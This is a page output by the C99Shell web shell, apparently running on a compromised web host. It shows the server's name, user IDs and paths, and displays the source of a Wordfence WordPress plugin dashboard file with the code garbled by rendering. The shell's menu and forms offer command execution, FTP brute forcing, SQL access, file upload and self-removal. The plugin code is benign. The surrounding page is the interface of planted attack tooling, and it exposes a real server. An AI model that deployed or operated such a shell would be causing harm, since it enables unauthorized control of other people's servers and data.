!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordfence/lib/   drwxr-xr-x
Free 180.48 GB of 490.84 GB (36.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wfDashboard.php (7.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class wfDashboard {
    const 
SCAN_SUCCESS 1;
    const 
SCAN_FAILED 0;
    const 
SCAN_NEVER_RAN = -1;
    const 
SCAN_WARNINGS 2;
    
    const 
FEATURE_ENABLED 1;
    const 
FEATURE_DISABLED 0;
    const 
FEATURE_PREMIUM = -1;
    
    public 
$scanLastCompletion;
    public 
$scanLastStatusMessage;
    public 
$scanLastStatus;
    
    public 
$notifications = array();
    
    public 
$features = array();
    
    public 
$lastGenerated;
    
    public 
$tdfCommunity;
    public 
$tdfPremium;
    
    public 
$ips24h;
    public 
$ips7d;
    public 
$ips30d;
    
    public 
$loginsSuccess;
    public 
$loginsFail;
    
    public 
$localBlocks;
    
    public 
$networkBlock24h;
    public 
$networkBlock7d;
    public 
$networkBlock30d;
    
    public 
$countriesLocal;
    public 
$countriesNetwork;
    
    public static function 
processDashboardResponse($data) {
        if (isset(
$data['notifications'])) {
            foreach (
$data['notifications'] as $n) {
                if (!isset(
$n['id']) || !isset($n['priority']) || !isset($n['html'])) {
                    continue;
                }
                
                new 
wfNotification($n['id'], $n['priority'], $n['html'], (isset($n['category']) ? $n['category'] : null));
            }
            
            unset(
$data['notifications']);
        }
        
        if (isset(
$data['revoked'])) {
            foreach (
$data['revoked'] as $r) {
                if (!isset(
$r['id'])) {
                    continue;
                }
                
                
$notification wfNotification::getNotificationForID($r['id']);
                if (
$notification !== null) {
                    
$notification->markAsRead();
                }
            }
            
            unset(
$data['revoked']);
        }
        
wfConfig::set_ser('dashboardData'$data);
    }
    
    public function 
__construct() {
        
// Scan values
        
$lastScanCompleted wfConfig::get('lastScanCompleted');
        if (
$lastScanCompleted === false || empty($lastScanCompleted)) {
            
$this->scanLastStatus self::SCAN_NEVER_RAN;
        }
        else if (
$lastScanCompleted == 'ok') {
            
$this->scanLastStatus self::SCAN_SUCCESS;
            
            
$i = new wfIssues();
            
$this->scanLastCompletion = (int) wfScanner::shared()->lastScanTime();
            
$issueCount $i->getIssueCount();
            if (
$issueCount) {
                
$this->scanLastStatus self::SCAN_WARNINGS;
                
$this->scanLastStatusMessage "{$issueCount} issue" . ($issueCount == ' found' 's found');
            }
        } 
        else {
            
$this->scanLastStatus self::SCAN_FAILED;
            
$n wfNotification::getNotificationForCategory('wfplugin_scan'false);
            if (
$n !== null) {
                
$this->scanLastStatusMessage $n->html;
            }
            else {
                
$this->scanLastStatusMessage esc_html(substr($lastScanCompleted0100) . (strlen($lastScanCompleted) > 100 '...' ''));
            }
        }
        
        
// Notifications
        
$this->notifications wfNotification::notifications();
        
        
// Features
        
$countryBlocking self::FEATURE_PREMIUM;
        if (
wfConfig::get('isPaid')) {
            
$countryBlocking self::FEATURE_DISABLED;
            
$countryList wfConfig::get('cbl_countries');
            if (!empty(
$countryList) && (wfConfig::get('cbl_loggedInBlocked'false) || wfConfig::get('cbl_loginFormBlocked'false) || wfConfig::get('cbl_restOfSiteBlocked'false))) {
                
$countryBlocking self::FEATURE_ENABLED;
            }
        }
        
        
$this->features = array(); //Deprecated
        
        
$data wfConfig::get_ser('dashboardData');
        
$lastChecked wfConfig::get('lastDashboardCheck'0);
        if ((!
is_array($data) || (isset($data['generated']) && $data['generated'] + 3600 time())) && $lastChecked 3600 time()) {
            
$wp_version wfUtils::getWPVersion();
            
$apiKey wfConfig::get('apiKey');
            
$api = new wfAPI($apiKey$wp_version);
            
wfConfig::set('lastDashboardCheck'time());
            try {
                
$json $api->getStaticURL('/stats.json');
                
$data = @json_decode($jsontrue);
                if (
$json && is_array($data)) {
                    
self::processDashboardResponse($data);
                }
            }
            catch (
Exception $e) {
                
//Do nothing
            
}
        }
        
        
// Last Generated
        
if (is_array($data) && isset($data['generated'])) {
            
$this->lastGenerated $data['generated'];
        }
        
        
// TDF
        
if (is_array($data) && isset($data['tdf']) && isset($data['tdf']['community'])) {
            
$this->tdfCommunity = (int) $data['tdf']['community'];
            
$this->tdfPremium = (int) $data['tdf']['premium'];
        }
        
        
// Top IPs Blocked
        
$activityReport = new wfActivityReport();
        
$this->ips24h = (array) $activityReport->getTopIPsBlocked(1001);
        foreach (
$this->ips24h as &$r24h) {
            
$r24h = (array) $r24h;
            if (empty(
$r24h['countryName'])) { $r24h['countryName'] = 'Unknown'; }
        }
        
$this->ips7d = (array) $activityReport->getTopIPsBlocked(1007);
        foreach (
$this->ips7d as &$r7d) {
            
$r7d = (array) $r7d;
            if (empty(
$r7d['countryName'])) { $r7d['countryName'] = 'Unknown'; }
        }
        
$this->ips30d = (array) $activityReport->getTopIPsBlocked(10030);
        foreach (
$this->ips30d as &$r30d) {
            
$r30d = (array) $r30d;
            if (empty(
$r30d['countryName'])) { $r30d['countryName'] = 'Unknown'; }
        }
        
        
// Recent Logins
        
$logins wordfence::getLog()->getHits('logins''loginLogout'0200);
        
$this->loginsSuccess = array();
        
$this->loginsFail = array();
        foreach (
$logins as $l) {
            if (
$l['fail']) {
                
$this->loginsFail[] = array('t' => $l['ctime'], 'name' => $l['username'], 'ip' => $l['IP']);
            }
            else if (
$l['action'] != 'logout') {
                
$this->loginsSuccess[] = array('t' => $l['ctime'], 'name' => $l['username'], 'ip' => $l['IP']);
            }
        }
        
        
// Local Attack Data
        
$this->localBlocks = array();
        
$this->localBlocks[] = array('title' => __('Complex''wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_COMPLEX,
            
'24h' => (int) $activityReport->getBlockedCount(1wfActivityReport::BLOCK_TYPE_COMPLEX),
            
'7d' => (int) $activityReport->getBlockedCount(7wfActivityReport::BLOCK_TYPE_COMPLEX),
            
'30d' => (int) $activityReport->getBlockedCount(30wfActivityReport::BLOCK_TYPE_COMPLEX),
        );
        
$this->localBlocks[] = array('title' => __('Brute Force''wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_BRUTE_FORCE,
            
'24h' => (int) $activityReport->getBlockedCount(1wfActivityReport::BLOCK_TYPE_BRUTE_FORCE),
            
'7d' => (int) $activityReport->getBlockedCount(7wfActivityReport::BLOCK_TYPE_BRUTE_FORCE),
            
'30d' => (int) $activityReport->getBlockedCount(30wfActivityReport::BLOCK_TYPE_BRUTE_FORCE),
        );
        
$this->localBlocks[] = array('title' => __('Blacklist''wordfence'), 'type' => wfActivityReport::BLOCK_TYPE_BLACKLIST,
            
'24h' => (int) $activityReport->getBlockedCount(1wfActivityReport::BLOCK_TYPE_BLACKLIST),
            
'7d' => (int) $activityReport->getBlockedCount(7wfActivityReport::BLOCK_TYPE_BLACKLIST),
            
'30d' => (int) $activityReport->getBlockedCount(30wfActivityReport::BLOCK_TYPE_BLACKLIST),
        );
        
        
// Network Attack Data
        
if (is_array($data) && isset($data['attackdata']) && isset($data['attackdata']['24h'])) {
            
$this->networkBlock24h $data['attackdata']['24h'];
            
$this->networkBlock7d $data['attackdata']['7d'];
            
$this->networkBlock30d $data['attackdata']['30d'];
        }
        
        
// Blocked Countries
        
$this->countriesLocal = (array) $activityReport->getTopCountriesBlocked(107);
        foreach (
$this->countriesLocal as &$rLocal) {
            
$rLocal = (array) $rLocal;
            if (empty(
$rLocal['countryName'])) { $rLocal['countryName'] = 'Unknown'; }
        }
        
        if (
is_array($data) && isset($data['countries']) && isset($data['countries']['7d'])) {
            
$networkCountries = array();
            foreach (
$data['countries']['7d'] as $rNetwork) {
                
$countryCode $rNetwork['cd'];
                
$countryName $activityReport->getCountryNameByCode($countryCode);
                if (empty(
$countryName)) { $countryName 'Unknown'; }
                
$totalBlockCount $rNetwork['ct'];
                
$networkCountries[] = array('countryCode' => $countryCode'countryName' => $countryName'totalBlockCount' => $totalBlockCount);
            }
            
$this->countriesNetwork $networkCountries;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0067 ]--